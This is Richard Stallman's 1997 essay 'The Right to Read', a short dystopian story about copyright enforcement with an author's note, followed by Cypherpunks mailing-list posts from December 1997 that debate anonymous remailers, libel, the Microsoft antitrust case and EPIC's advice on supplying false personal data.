Verbatim copying is permitted provided this notice is preserved.
This article appeared in the February 1997 issue of Communications of the
ACM (Volume 40, Number 2).


			The Right to Read
				by Richard Stallman

	     (from "The Road To Tycho", a collection of articles
	      about the antecedents of the Lunarian Revolution,
	      published in Luna City in 2096)

For Dan Halbert, the road to Tycho began in college--when Lissa Lenz
asked to borrow his computer.  Hers had broken down, and unless she
could borrow another, she would fail her midterm project.  There was
no one she dared ask, except Dan.

This put Dan in a dilemma.  He had to help her--but if he lent her his
computer, she might read his books.  Aside from the fact that you
could go to prison for many years for letting someone else read your
books, the very idea shocked him at first.  Like everyone, he had been
taught since elementary school that sharing books was nasty and
wrong--something that only pirates would do.

And there wasn't much chance that the SPA--the Software Protection
Authority--would fail to catch him.  In his software class, Dan had
learned that each book had a copyright monitor that reported when and
where it was read, and by whom, to Central Licensing.  (They used this
information to catch reading pirates, but also to sell personal
interest profiles to retailers.)  The next time his computer was
networked, Central Licensing would find out.  He, as computer owner,
would receive the harshest punishment--for not taking pains to prevent
the crime.

Of course, Lissa did not necessarily intend to read his books.  She
might want the computer only to write her midterm.  But Dan knew she
came from a middle-class family and could hardly afford the tuition,
let alone her reading fees.  Reading his books might be the only way
she could graduate.  He understood this situation; he himself had had
to borrow to pay for all the research papers he read.  (10% of those
fees went to the researchers who wrote the papers; since Dan aimed for
an academic career, he could hope that his own research papers, if
frequently referenced, would bring in enough to repay this loan.)

Later on, Dan would learn there was a time when anyone could go to the
library and read journal articles, and even books, without having to
pay.  There were independent scholars who read thousands of pages
without government library grants.  But in the 1990s, both commercial
and nonprofit journal publishers had begun charging fees for access.
By 2047, libraries offering free public access to scholarly literature
were a dim memory.

There were ways, of course, to get around the SPA and Central
Licensing.  They were themselves illegal.  Dan had had a classmate in
software, Frank Martucci, who had obtained an illicit debugging tool,
and used it to skip over the copyright monitor code when reading
books.  But he had told too many friends about it, and one of them
turned him in to the SPA for a reward (students deep in debt were
easily tempted into betrayal).  In 2047, Frank was in prison, not for
pirate reading, but for possessing a debugger.

Dan would later learn that there was a time when anyone could have
debugging tools.  There were even free debugging tools available on CD
or downloadable over the net.  But ordinary users started using them
to bypass copyright monitors, and eventually a judge ruled that this
had become their principal use in actual practice.  This meant they
were illegal; the debuggers' developers were sent to prison.

Programmers still needed debugging tools, of course, but debugger
vendors in 2047 distributed numbered copies only, and only to
officially licensed and bonded programmers.  The debugger Dan used in
software class was kept behind a special firewall so that it could be
used only for class exercises.

It was also possible to bypass the copyright monitors by installing a
modified system kernel.  Dan would eventually find out about the free
kernels, even entire free operating systems, that had existed around
the turn of the century.  But not only were they illegal, like
debuggers--you could not install one if you had one, without knowing
your computer's root password.  And neither the FBI nor Microsoft
Support would tell you that.

Dan concluded that he couldn't simply lend Lissa his computer.  But he
couldn't refuse to help her, because he loved her.  Every chance to
speak with her filled him with delight.  And that she chose him to ask
for help, that could mean she loved him too.

Dan resolved the dilemma by doing something even more unthinkable--he
lent her the computer, and told her his password.  This way, if Lissa
read his books, Central Licensing would think he was reading them.  It
was still a crime, but the SPA would not automatically find out about
it.  They would only find out if Lissa reported him.

Of course, if the school ever found out that he had given Lissa his
own password, it would be curtains for both of them as students,
regardless of what she had used it for.  School policy was that any
interference with their means of monitoring students' computer use was
grounds for disciplinary action.  It didn't matter whether you did
anything harmful--the offense was making it hard for the
administrators to check on you.  They assumed this meant you were
doing something else forbidden, and they did not need to know what it
was.

Students were not usually expelled for this--not directly.  Instead
they were banned from the school computer systems, and would
inevitably fail all their classes.

Later, Dan would learn that this kind of university policy started
only in the 1980s, when university students in large numbers began
using computers.  Previously, universities maintained a different
approach to student discipline; they punished activities that were
harmful, not those that merely raised suspicion.

Lissa did not report Dan to the SPA.  His decision to help her led to
their marriage, and also led them to question what they had been
taught about piracy as children.  The couple began reading about the
history of copyright, about the Soviet Union and its restrictions on
copying, and even the original United States Constitution.  They moved
to Luna, where they found others who had likewise gravitated away from
the long arm of the SPA.  When the Tycho Uprising began in 2062, the
universal right to read soon became one of its central aims.


Author's Note:

The right to read is a battle being fought today.  Although it may
take 50 years for our present way of life to fade into obscurity, most
of the specific laws and practices described above have already been
proposed--either by the Clinton Administration or by publishers.

There is one exception: the idea that the FBI and Microsoft will keep
the root passwords for personal computers.  This is an extrapolation
from the Clipper chip and similar Clinton Administration key-escrow
proposals, together with a long-term trend: computer systems are
increasingly set up to give absentee operators control over the people
actually using the computer system.

The SPA, which actually stands for Software Publisher's Association,
is not today an official police force.  Unofficially, it acts like
one.  It invites people to inform on their coworkers and friends; like
the Clinton Administration, it advocates a policy of collective
responsibility whereby computer owners must actively enforce copyright
or be punished.

The SPA is currently threatening small Internet service providers,
demanding they permit the SPA to monitor all users.  Most ISPs
surrender when threatened, because they cannot afford to fight back in
court.  (Atlanta Journal-Constitution, 1 Oct 96, D3.)  At least one
ISP, Community ConneXion in Oakland CA, refused the demand and was
actually sued (https://www.c2.net/ispdc/).  The SPA is said to have
dropped this suit recently, but they are sure to continue the campaign
in various other ways.

The university security policies described above are not imaginary.
For example, a computer at one Chicago-area university prints this
message when you log in (quotation marks are in the original):

    "This system is for the use of authorized users only.  Individuals using
    this computer system without authority or in the excess of their authority
    are subject to having all their activities on this system monitored and
    recorded by system personnel.  In the course of monitoring individuals
    improperly using this system or in the course of system maintenance, the
    activities of authorized user may also be monitored.  Anyone using this
    system expressly consents to such monitoring and is advised that if such
    monitoring reveals possible evidence of illegal activity or violation of
    University regulations system personnel may provide the evidence of such
    monitoring to University authorities and/or law enforcement officials."

This is an interesting approach to the Fourth Amendment: pressure most
everyone to agree, in advance, to waive their rights under it.


References:

The administration's "White Paper": Information Infrastructure Task
Force, Intellectual Property and the National Information
Infrastructure: The Report of the Working Group on Intellectual
Property Rights (1995).

An explanation of the White Paper:
The Copyright Grab, Pamela Samuelson, Wired, Jan. 1996
(http://www.hotwired.com/wired 4.01/features/whitepaper.html).

Sold Out, James Boyle, New York Times, 31 March 1996
(http://www.ese.ogi.edu/sold.out.html).

Public Data or Private Data, Washington Post, 4 Nov 1996
(http://wp2.washingtonpost.com/cgi-bin/displaySearch?WPlate+33653+%28database%26
geneva%29%3Adescription%26and%2619961102%3Cevent%5Fdate).

Union for the Public Domain--a new organization which aims to resist
and reverse the overextension of intellectual property powers.  For
more information, see http://www.public-domain.org/.


Bio:

Richard Stallman received the 1990 ACM Grace Murray Hopper award for
developing GNU Emacs.  He is also the author of the free symbolic
debugger GDB, and founded the project to develop the free GNU
operating system.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNJ1Q1LR8UA6T6u61AQGpJwH+IZSj9oeAsjl3o9ikGH8a/BESVPNqew94
bHJkfS6+CA9n79GZhgZ6goej4z023gx/evuHHqqTL9UQDNroOWQFHA==
=d7kR
-----END PGP SIGNATURE-----






From comsec at nym.alias.net  Sun Dec 21 10:09:30 1997
From: comsec at nym.alias.net (Charlie Comsec)
Date: Mon, 22 Dec 1997 02:09:30 +0800
Subject: Completely anonymous communications ARE only for "Criminals"
In-Reply-To: <66iaur$foc$1@chronicle.austx.tandem.com>
Message-ID: <19971221180004.12277.qmail@nym.alias.net>




-----BEGIN PGP SIGNED MESSAGE-----

gburnore at netcom.com (Gary L. Burnore) wrote:

> :That's the whole point of using remailers -- so that some country that wants
> :to be tyrranical can't hunt down someone in another country that does something
> :it considers "politically incorrect".  If something annoys you, then stop
> :reading it.  Killfile the author.  Killfile all remailers if you like.  Don't
> :use dynamite (pun intended) to exterminate cockroaches.
>  
> So what do you do in those instances where you're slandered continously in
> USENet by someone posting anonymously.  In the non-cyber world, the speaker
> would be held responsible. Who's held responsible when it's commited in
> USENet?

I'm assuming that you really meant to refer to libel (written) rather than
slander (verbal).  I suspect that there is very little that can be done, and
that holds true for non-anonymous posts as well.  Just looking at some of the
massive cross-posts with subject lines that say "So-and-so is a pedophile"
(some of them with Netcom addresses who seem to be able to hang onto their
accounts despite making such accusations), I'd say that usenet is a different 
ballgame from the print media where for-profit publishers have deeper pockets.
  
The problem with tort laws is that to successfully sue for libel you have to 
prove damages as well as prove that what was said was false.  Thus, you'd have 
to prove to a jury that someone made a defamatory statement about you that was 
false, that people believed it, and that your reputation has suffered 
measurably as a result.  Identifying the person who posted the message is only 
a small part of the problem.

Moreover, if the plaintiff has attained the status of a "public figure", he
has to prove additionally that the defendant KNOWINGLY and MAILICIOUSLY 
published FALSE information.  Thus, if you said that Clinton sexually harassed 
Paula Jones, it's unlikely that the President could sue you and win.  He'd have
to prove that you knew the accusation was false and made it anyway with
malicious intent.

The problem with libel via usenet is that in order to win you'd have to
prove that you had an impeccable reputation until someone defamed you with
a usenet post, people believed the post, and now your name is mud because of
it.  An anonymous post would be even more problematic, since you'd have to
persuade a jury that people who'd previously believed you to be a fine
upstanding netizen were convinced otherwise by a nameless accuser.  Usually
the people who will believe dirt about someone are those who already suspect
he's a no-good-so-and-so, so it'd be hard to make a legal case for his 
reputation being diminished.

> :Are you offering to donate the disk space?  If you can convince Hotmail and
> :other providers to do what you're suggesting, and provided they properly
> :inform all new and existing users of this new policy far enough in advance
> :to make other plans if they so desire, I would not object.
>  
> Hotmail DOES know who signs up and uses their mail service (at least the
> connection information such as IP and provider.

That's probably reason enough for someone who truly needs anonymity to avoid
such a service.  The problem is that once it's known that the identifying
information exists somewhere, the keeper of that information becomes a
target for coercion, bribery, hacking, burglary, etc.
 
> :And if the remailer stored no information to tempt litigious individuals,
> :firms, and governments, then that problem would be solved altogether.
>  It's the same principle that stores
> :use when they leave their cash registers EMPTY and UNLOCKED at night.  A thief
> :will often cause more damage to the cash register breaking into it than the
> :amount of the money that it contains.  What you're suggesting is that the
> :person's privacy be violated BEFORE any law is broken, just in case he MIGHT
> :break a law later.
>  
> There's still no way to do something even if the law has already been broken.

If someone has already been convicted of an offense that involved the
internet, it might be possible to suggest that one condition of any probation
or parole be to avoid using the internet, similar to what happens when one is
convicted of drunk driving.  Many jurisdictions allow victim input into the
sentencing/parole process.

(I'm not advocating this, merely pointing out that it's possible.)
 
> :It's your choice.  Go visit the list of remailers currently in operation and
> :count how many there are.  If it's too much trouble for you to send a single
> :block request, CCed to a dozen or so addresses, then you probably don't have
> :a strong enough case to go to court, obtain a warrant or subpoena, either.  
> :By the time you go through that process, you'll have invested far more time
> :and effort than sending an e-mail or two to prevent the problem.
>  
> He's saying someone's harassing him. (Sounds like in USENet and Email)
> Blocking your address only helps the email part. Not USENet.

No, actually he was saying that he wasn't worrying about someone doing it TO
HIM, but he was worrying (vicariously) about other potential victims.  Yes,
usenet is a different story and by its very nature it can never be totally
offense-free.  The best remedy there is to use a killfile, or even avoid some
NGs altogether, especially unmoderated ones, where one is likely to be offended
by what he reads.

The problem is that devising workable solutions to problems that don't yet
exist is much more difficult that resolving problems that do already exist.
And that's doubly true if the person refuses to implement the preventive
measures already suggested.  It's sort of like saying, "Why should I be careful
with that hot coffee?  I'll just wait until it spills and injures me, then
I can sue someone!"
 
> :If it's not serious enough for you to request that your e-mail address
> :be blocked, then why should the authorities think it's serious enough to
> :devote the resources to hunt down your harasser?
>  
> Blocking all remailers means you get _NO_ anonymous posts. Pretty serious when
> you've only a problem with one abuser, no?

It wasn't intended as universal advice.  But since his premise was that 
'Completely anonymous communications ARE only for "Criminals"', it seemed a
wise precaution FOR HIM to take if he wanted to prevent any of those 
"criminals" from bothering him.
 
> :If the only purpose of anonymous e-mail is to break the law, then why
> :WOULDN'T you want to block it?  Do you have some reason you'd want to hear
> :from people you consider lawbreakers?
> 
> I still think he's mistaken by thinking that all who post anonymously are
> lawbreakers. 

I do too.  But his premise was used to support his suggested remedy.  If an 
anonymous user is NOT presumed to be a criminal, then you can't justify 
treating him like one.
 
> It's like anything else in life, a few assholes ruining things
> for everyone. 

So true ... of remailers, of Netcom and AOL accounts, usenet, and the 
internet in general.  But they'll only ruin it if you let them.  Trolls and 
flaming predate the internet itself and go back to Fidonet and BBSes in 
general.  (I wouldn't doubt that people were lamenting the misuse of free
speech back in ancient Greece.)

It's sort of like cable TV.  There's enough bandwidth (excluding outright
spammers for the moment) that you can choose the "channels" with what you
perceive to have a sufficient signal to noise ratio, and avoid the rest.
Everyone has his own threshold.  That's why many NGs come in both
moderated and unmoderated flavors.

> :> If someone really wants to send me email, there
> :> is no way I can prevent it short of not allowing any untrusted
> :> accounts to email me.  And that's reducing my lifestyle.  It's giving 
> :> in.
> :
> :That's your choice.  The solution exists if you choose to use it.
>  
> It's a lousy solution that only cures part of the problem.

In an imperfect world, you often have to settle for the best you can get, being
careful that you don't enact a cure that's worse than the disease.
 
> :> Only within a single country.  With an international network like this
> :> one, it is ridiculously easy to get around the laws of any one
> :> country.  Getting around the laws of EVERY country on the net is a lot
> :> harder, and should rightly be so.  
> :
> :So if somebody in Argentina decides to harrass someone in England, how would
> :what you're proposing solve that problem?
>  
> If they weren't posting anonymously, there'd be things that could be done.
> But if they're posting anonymously, how wouyld you know they were in
> Argentina?

You wouldn't.  But if you'd jumped through all the hoops to hunt down the
anonymous annoyance and the trail led to Argentina, then the spirit of
non-cooperation between the Brits and the Argentines might well mean that
the trail ends right there.  Or take it a step further.  Suppose the Argentine
remailer cooperated, and told the authorities that the message in question
was chained through a remailer in Germany.  And so on...

Politas' solution is conditioned on an ideal world where everyone cooperated
with everyone else.  What he cited as the protection an anonymous poster
would have against an oppresive regime is also why his scheme would not work.
Very little in the way of abuse goes on on the Internet that would be
universally recognized as criminal by EVERY country.  Not all countries
deem copyright violations, posting kiddie porn, libel, blasphemy, sedition,
posting birth control information, or even bomb-making recipes as actionable
offenses worthy of governmental intervention to identify and prosecute the
culprit.

Take "libel", for example.  Let's suppose a law were enacted today to make
defaming the President of the United States a criminal offense.  How much
success do you think you'd have in forcing a remailer in Libya or Iraq to
aid in hunting down such an offender?
 
- ---
Finger  for PGP public key (Key ID=19BE8B0D)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBNJ1P1wbp0h8ZvosNAQFaRAf+NfkhWJpic1Ha6d7V5qmf5OmJ3GFTcTdw
FFfaC+fIG2SD2I/lJ7Oe1zDengWLFCdr+N25TT5H0zUhjm22NUDc9A1JVH0J4Xes
haSNeA8XhON2f2SF9XS8EQebfXyIAj0m7c8f2HeecRVZC+MBCR1uXqotL5l8J4bA
1WXG/GCIId9JLMC0oi5W26XHwefu1UP3uYd13Z1AFOVfi7lTFh15YOOTfwlRjgl2
Aion64yujcjq6z7voNuidaz3HQVQmgwmeZKGeYJ935HzpA0XTYu/xr9L5p+gbmE3
S33fzHwgljymm6joJzUK8x/u3rrChp5a6O7qL07U5ZmgotQv7I0YDw==
=tkvg
-----END PGP SIGNATURE-----






From tcmay at got.net  Sun Dec 21 10:39:29 1997
From: tcmay at got.net (Tim May)
Date: Mon, 22 Dec 1997 02:39:29 +0800
Subject: Why I Support Microsoft
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: 



Over the years I've sometimes joined in on the jokes about Microsoft and
Bill Gates...the jokes about the Borg, assimilation, and the habits of
Gates. And I've lately really enjoyed the "Saturday Night Live" skits
involving Bill Gates interrupting the Pope to announce that Microsoft has
merged with Christmas, and so on.

As a longtime Macintosh user, and only occasional user of MS products, it's
mostly of entertainment value to me to see what MS is doing.

(Caveat: I used Microsoft Basic on Intel MDS systems (8080-based), circa
1977-78, bought a PC in the early 80s, bought "Microsoft Word" Version 1.00
when most people were buying Samna Word, Wordstar, and other such vanished
products, and even bought the execrable, terrible, crufty, horrible
"Windows 1.0" when it first came out, circa 1984. And for my Macintosh, I
bought Microsoft Word 1.05 and used it for many years in various versions.
I currently use no Microsoft products on a daily basis.)

Anyway, the recent government actions against Microsoft are reprehensible
to any person who values liberty. Microsoft is being punished for its
success.

The appearance of Ralph Nader, Jamie Love, and executives of Netscape (who
are miffed that _their_ attempted monopoly is being threatened by MS!), in
the (ironic) "Microsoft Bash," along with opportunistic actions by various
states' attorney generals, and with judges imposing million dollar a day
fines.....

Well, it's all a familiar pattern. I hate to say it, but read parts of
"Atlas Shrugged" to see this piling on, this "taking down the successful a
few notches" behavior.

Attila T. Hun is, for some reason, bashing MS a lot. I'll use one of his
posts to make some specific points:


At 10:15 AM -0700 12/21/97, Attila T. Hun wrote:

>> WASHINGTON (Reuters) - A federal judge Friday told Microsoft
>> Corp.  he easily uninstalled the company's Web browser
>> without breaking Windows 95 and ordered company officials to
>> explain why they could not do the same.  "Windows 95
>> functioned flawlessly" with Internet Explorer uninstalled,
>> U.S.  District Judge Thomas Penfield Jackson told Microsoft.
>>
>    mistake #1: dont piss off a federal judge --let alone
>    try to show that he is ignorant.

PC makers like Compaq, Dell, Gateway, etc., are in fact perfectly free to
bundle Netscape Navigator (or whatever the Do Everything version is called)
with their systems. Microsoft is then perfectly free, in a free society, to
say "Fine, then don't put Windows on your machines."

Right?

Customers can then make their choices. Or can buy Windows in the nearest
software store. The way it used to be done.

Yielding to pressure from the court, MS is now allowing PC makers to also
include Netscape Navigator. Well, none have yet elected to do so...quite
probably because Netscape is _charging_ for this, and MS is not.

(To Ralph Nader, and perhaps even to Attila, that MS is _giving_ away its
browser, free for the download and free to the PC vendors, is itself a
crime.)

...
>    this is my one big fear: the DOJ will accept a plea
>    bargain like they did last time and it will be back
>    to business as usual for M$ --and they will be back in
>    court within a year having gained even more horizontal
>    and vertical control of the entire communications
>    and information industries --and claiming again that
>    they are misunderstood --and complying with the order,
>    etc.

Customers are voting with their pocketbooks. They like the MS offerings
more than they like the competing offerings...of which there are still many.

(Macintosh, Unix in several flavors (incl Linux), and loyal followings for
older OSes. Sun and Oracle and others are pushing for Java-based systems to
obsolete the MS products. This is a major struggle which analyses about
Microsoft's "domination" seem to ignore.)

>
>    there is only one solution to organizations like M$
>    which are operated without ethics: treat them to the
>    pleasures of not only the antitrust laws but the
>    exquisite delights of RICO.

I cannot understand how Attila can so enthusiastically support this. His
"exquisite delights" even recalls Torquemada and the Inquistion. A suitable
term for what is being to MS, in my view.

>    M$ is a cancer; it has fully metasticized and is gorging
>    itself at the banquet of the vanquished.

Ralph Nader would probably be interested in hiring ATH as a speech writer.

....
>    anyway, just think where M$ would be with Royce today!
>    Gate$ and Ballmer might be down at the local MCC for a
>    few free 3 hots and a cot, all expenses paid, "enjoying"
>    a well earned vacation from screwing all of us.

I take it that ATH means that because something like 20 or 30 million
Americans chose to buy Windows 95 (and thus gain the benefits we Macintosh
users have had for many years :-}) that this means "we" were screwed?


>    Other than the usual ills of a monopoly, what really
>    irks anyone with a modicum of intelligence is that Gate$
>    intends to migrate the entire package for the benefit of
>    the couch potatoes; Gate$ intends to dictate not only
>    what we use to view his trash, but that only his trash
>    is splashed.

Why not pick on Intel? Intel is, if anything, even more of a "monopoly"
than MS is. While customers have some reasonable choices in OSes
(Windows/NT, Unix, Linux, Macintosh, AmigaOS, Inferno, Java-based
developments, etc.), the fact is that all of the surviving OSes are being
ported to the Intel platform (pace recent announcements by Sun that Solaris
will be on  Merced at its rollout in 1999, and earlier announcements by
H-P, DEC, and IBM along the same lines).

But neither MS nor Intel are "monopolies." They are just the People's
Choice. Which always tends to cluster...the big really do get bigger. For
awhile, at least, until the paradigm shifts and the big can't adapt quickly
enough.

Of the 10 biggest chip makers in 1970, all are distant seconds to Intel,
the world's largest producer of chips, in dollar amount. (And in total
square meters of silicon output.)


....
>> After the hearing Friday, Christine Varney, a former Federal
>> Trade Commissioner now representing Netscape, was jubilant.
>> "I think the judge has understood the seriousness of the
>> issue," she said.
>>
>    she had every reason to be jubilant --so far. even if
>    the judge did not fully understand the technological
>    bullshit M$ was trying to slide on by, the judge fully
>    understands that M$ was trying to blind pitch him --and
>    insulting him to boot.

Of _course_ she's jubilant! Netscape wants its "rightfully-earned monopoly"
back! Has anyone forgotten that in 1995 it was looking like Netscape would
be on 95% of all desktops, Windows, Mac, and Unix, and that it was turning
into the Big Bad Monopoly? Are memories really that short?

Netscape has been using its legal manouvers to attempt to stop Microsoft
from horning in on _its_ monopoly.

(I hate using the term "monopoly," but if critics of MS are going to use
it, hey, when in Rome....)


>> Microsoft stock closed at $128.69, down $2.19 on NASDAQ,
>> where it was among the most active issues.

>    yes, down almost 20 points since their fiasco with the
>    DOJ started. before it's over, I hope to see M$ listed
>    with the junk bonds and issues --in the penny stocks.
>

Yep, sort of the way Netscape stock went from its IPO price of around $25
(in today's shares) to $80 when it looked like Netscape Navigator and
related products were going to be the Next Big Monopoly....and then
plummeted down to the $30-40 range as it appeared this was not the way
things were going to turn out....

Netscape stock is currently at $27 3/4, just about where it began trading
in '95.

Even so, Navigator remains popular on many platforms. Microsoft Explorer is
by no means a monopoly.

And MS announced a long time ago, in '95 if I recall correctly, that the
Web was such a big deal (let us not forget that some were saying Gates had
missed the boat on the Web and MS would falter) that the URL addressing
scheme would be _built in_ to future versions of its OS so as to make Web
browsing and file browsing identical, and to facillitate intranets. "One
big file system."

Like this or not, it makes a certain amount of sense.

Ah, but now we face the spectacle of a judge or panel of Nader-pandering
bureaucrats telling Microsoft what features it will be allowed to include
in its operating system.

Perhaps the graphics chip companies facing extinction as Intel puts massive
graphics capabilities into new chips can sue on antitrust grounds and get a
"special master" to dictate to Intel what features it may put into chips?

(Certainly the long-departed Weitek might have survived a few more years
had Ralph Nader turned his unsafe at any speed attention to the floating
point processing market and gotten an injunction against Intel putting
onboard floating point instructions into the 486.)

I cannot understand how any Cypherpunk can be advocating interference in
the market the way Attila and a few others are doing.

Making jokes about Bill Gates is one thing, just harmless fun. But
advocating the Men with Guns (TM) seize control of the products he offers
to uncoerced customers is simply wrong.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From crisp at rambus.com  Sun Dec 21 11:23:05 1997
From: crisp at rambus.com (Richard Crisp)
Date: Mon, 22 Dec 1997 03:23:05 +0800
Subject: true in the near term: "Why M$ has won" (I@week)
In-Reply-To: <19971217.143950.attila@hun.org>
Message-ID: <349D62C7.3080@rambus.com>



Of course one point that most people seem to overlook (conveniently for
their arguments perhaps) is that when comparisons are being drawn
between Microsoft and prior trust busting such as IBM, Standard Oil etc,
is that in the case of Microsoft, the consumer is getting more for less
money. Not so with IBM or Standard Oil or the ridiculous comparison I
read in today's Mercury News about the village peddler that says "if you
want to buy my butter you have to buy my eggs". A more accurate
comparison would be "free eggs if you buy butter".

Last time I checked, IE is free. You pay for Win9x but get the IE
without paying a penny more.

In my case, I just ignore IE and install Netscape which I prefer.

I guess the IE takes up some disk space, but since disks are so cheap
now, I simply don't worry about any of that.

In the meantime all I hear is a lot of belly aching by Microsoft
wannabes.

The Microsoft wannabes remind me a lot of Micron Technology. Micron
complains about the Taiwanese and Koreans selling DRAMs and SRAMs in the
us below their manufacturing cost. But when I go to Taiwan (monthly) I
hear that the guys bombing the price of DRAM are none other than Micron. 

Appleton (Micron's CEO) raised holy hell about the Korean bailout,
citing the issue that our tax dollars are used to prop up his
competitors. Well I have news for Appleton: the fact is that the low
price of DRAM and SRAM is good for American industry as a whole, and who
the hell cares if Micron is suffering, if Compaq, Dell, Gateway, Sun,
IBM, HP, SGI, etc all can sell a better box for less money using cheap
DRAM?

Like Micron, the Netscapes, Suns, Oracles etc of the world want to use
the courts to solve a problem that stems from the fundamental fact that
they simply cannot get their act together enough to be competitive in
the market.
rdc






From jya at pipeline.com  Sun Dec 21 11:30:13 1997
From: jya at pipeline.com (John Young)
Date: Mon, 22 Dec 1997 03:30:13 +0800
Subject: Automatic Translations
Message-ID: <1.5.4.32.19971221192304.0072fd68@pop.pipeline.com>



bureau42 wrote:

>Just out of curiosity I ran a paragraph of one of Bob H's wordy
>pieces through a few translations and, son of a bitch! if it didn't become
clearer!

Now this is truly helpful advice to get what's being miscommunicated
by deranged brute-forcers spit and shined and pinstripped like 
truetext masterblasters.

If some dingdong's spew comes through translation unchanged then 
it is the plain vanilla-est, the most unshaded, unnuanced, unbiased, 
untrickery, unimaginative, and thus the most omnipotent of all possible 
upchuckery aimed to infect the globe with toenail jam passing as troot
juice.

If these lies (aka blackheart pus-drip) remain unchanged by translation 
and unmangled by retranslation through all spitbucket languages and 
all Earth's cheese-bowels bent on misconstruance and prejudicial 
warp to fit preconceptions of perfectly slit-minded right to disembowel
and deny life and liberty to those of opposing views, then it is the word 
of You Know Who, and your way-behind clan better believe it, and 
copy it, and bray-pray in it and bet your bed-watering, unwavering 
Clone Constitution Bible Koran Hit Man Browser on it. 

Seattle-shrouded in this Kelvar-asbestos cloak, napalm those east of
the Rockies (and west) who question the Macrosoft Word, PR sizzle 
those who mock it, and Jesus-crowbar the infidels who mess with 
mismarketing PICS to the world's DoJs and 1st Amend lingo 
freedom-futzing bill-mauling mud-doggies.

Sez Iggy, plain and simple.







From bill.stewart at pobox.com  Sun Dec 21 12:03:20 1997
From: bill.stewart at pobox.com (Bill Stewart)
Date: Mon, 22 Dec 1997 04:03:20 +0800
Subject: Making them eat their words... (while they watch!)
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: <3.0.3.32.19971221115654.00697eb4@popd.ix.netcom.com>



At 05:15 PM 12/21/1997 +0000, Attila T. Hun wrote:
>    there is only one solution to organizations like M$ 
>    which are operated without ethics: treat them to the
>    pleasures of not only the antitrust laws but the 
>    exquisite delights of RICO.

Nonsense, and I'm surprised to hear this from you.
Treat them to the pleasures of the free market -
if you don't like them, start a Boycott M$ campaign,
and see if people stop buying their lousy software.
The direct democracy of the free market is far more 
appropriate than government here - it's $1/vote, 
and if enough people vote against M$ they'll get the hint, 
and it enough people vote _for_ M$, it's none of your business.

It _is_ funny to see the Feds hiring a big corporate lawyer
to run their case; I guess they don't think Federal Prosecutors
are good enough.  Surely if a low-level prosecutor can't hack it,
they should use their boss, and on up the hierarchical chain.
If Janet Reno can't do it either, they should replace her with
someone who can :-) 
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From declan at well.com  Sun Dec 21 12:22:01 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 22 Dec 1997 04:22:01 +0800
Subject: Don't lie to the marketers or Feds! from ZDNET
Message-ID: 





http://www.zdnet.com/intweek/print/971215/264108.html

>For Social Security Number, the EPIC page recommends using
>a number, which won't be reprinted here, used on "sample"
>cards decades ago. The figuring: "Most clerks probably
>won't recognize it as a fake" and it won't interfere with
>other Social Security numbers.
>
>For addresses, the EPIC page suggests using hometown parks,
>city halls and police stations. It specifically suggests
>the address of Comiskey Park in Chicago. Makes one wonder
>how White Sox officials feel about the prospect of getting
>extra junk mail and spam really destined for disciples of
>EPIC's peculiar freedom of information act. What crime
>against the common good did Jerry Reinsdorf commit except
>to sign Albert Belle to an ungodly contract undermining
>baseball owner solidity against rising salaries?
>
>For telephone numbers, the recommendation is
>1-202-224-3121. That turns out to be the switchboard of the
>U.S. Congress. If this is intended to send some sort of
>message to solons about the loss of control of personal
>information, it's likely to be wholly lost. The only people
>it will punish are operators handling incoming calls at the
>Capitol. They will only regard the extra calls as more
>wrong number calls they have to handle. They will have no
>way to figure out that this is some sort of subgrassroots
>effort to gum up the works. And they will certainly have no
>way to provide statistics to Congress on the result.
>
>The EPIC page is, in that last case, urging Americans to
>waste taxpayer dollars, for no clear purpose.
>
>On a larger scale, the EPIC document only exacerbates the
>issue it tries to solve. The answer to the loss of control
>of personal information on the Internet is not to
>contribute instead to a boom in unreliable data.
>








From dlv at bwalk.dm.com  Sun Dec 21 12:27:46 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 22 Dec 1997 04:27:46 +0800
Subject: Why I Support Microsoft
In-Reply-To: 
Message-ID: 



Tim May  writes:

> (Caveat: I used Microsoft Basic on Intel MDS systems (8080-based), circa
> 1977-78, bought a PC in the early 80s, bought "Microsoft Word" Version 1.00
> when most people were buying Samna Word, Wordstar, and other such vanished
> products, and even bought the execrable, terrible, crufty, horrible
> "Windows 1.0" when it first came out, circa 1984. And for my Macintosh, I
> bought Microsoft Word 1.05 and used it for many years in various versions.
> I currently use no Microsoft products on a daily basis.)

I remember MS Word 1.0 for MS DOS.  It was the first crude WYSYWYG on the CGA:
it displayed primitive boldface and italics on screen, unlike most other
word processors of that era that mostly used markup languages.

I used Windows .9beta quite heavily and even wrote some primitive GUI hacks
using the SDK. One of them was a front-end to a DES encoder/decoder. It has 3
areas for entering a key: as text, as hex, and as binary; updating one area
immediately updated the other 2. That was circa 83 or even 82. Of course all
the APIs are different under newer windows. Anybody cares to see it?

Of course, Windows 1.x and 2.x were a miserable failure in the marketplace
because the requisite hardware wasn't there yet. So was VisiOn, but Windows had
bill gates support. 3.0 was moderately successful; 3.1 was actually profitable.
Microsoft lost a lot of bets before this product line finally took off.
Microsoft spent a lots of money on the "Bob" project which was a complete
failure.

I also got OS/2 1.0 from Microsoft in 1988, together with the Microsoft/Ahton
Tate SQL server (based on Sybases's). SYBS stupidly sold their pricey
product to microsoft, figuring the micro market would never be of use to SYBS.

Microsoft then decided to pull the rug from under its OS/2 users, so I
switched to IBM OS/2.

> The appearance of Ralph Nader, Jamie Love, and executives of Netscape (who
> are miffed that _their_ attempted monopoly is being threatened by MS!), in
> the (ironic) "Microsoft Bash," along with opportunistic actions by various
> states' attorney generals, and with judges imposing million dollar a day
> fines.....
>
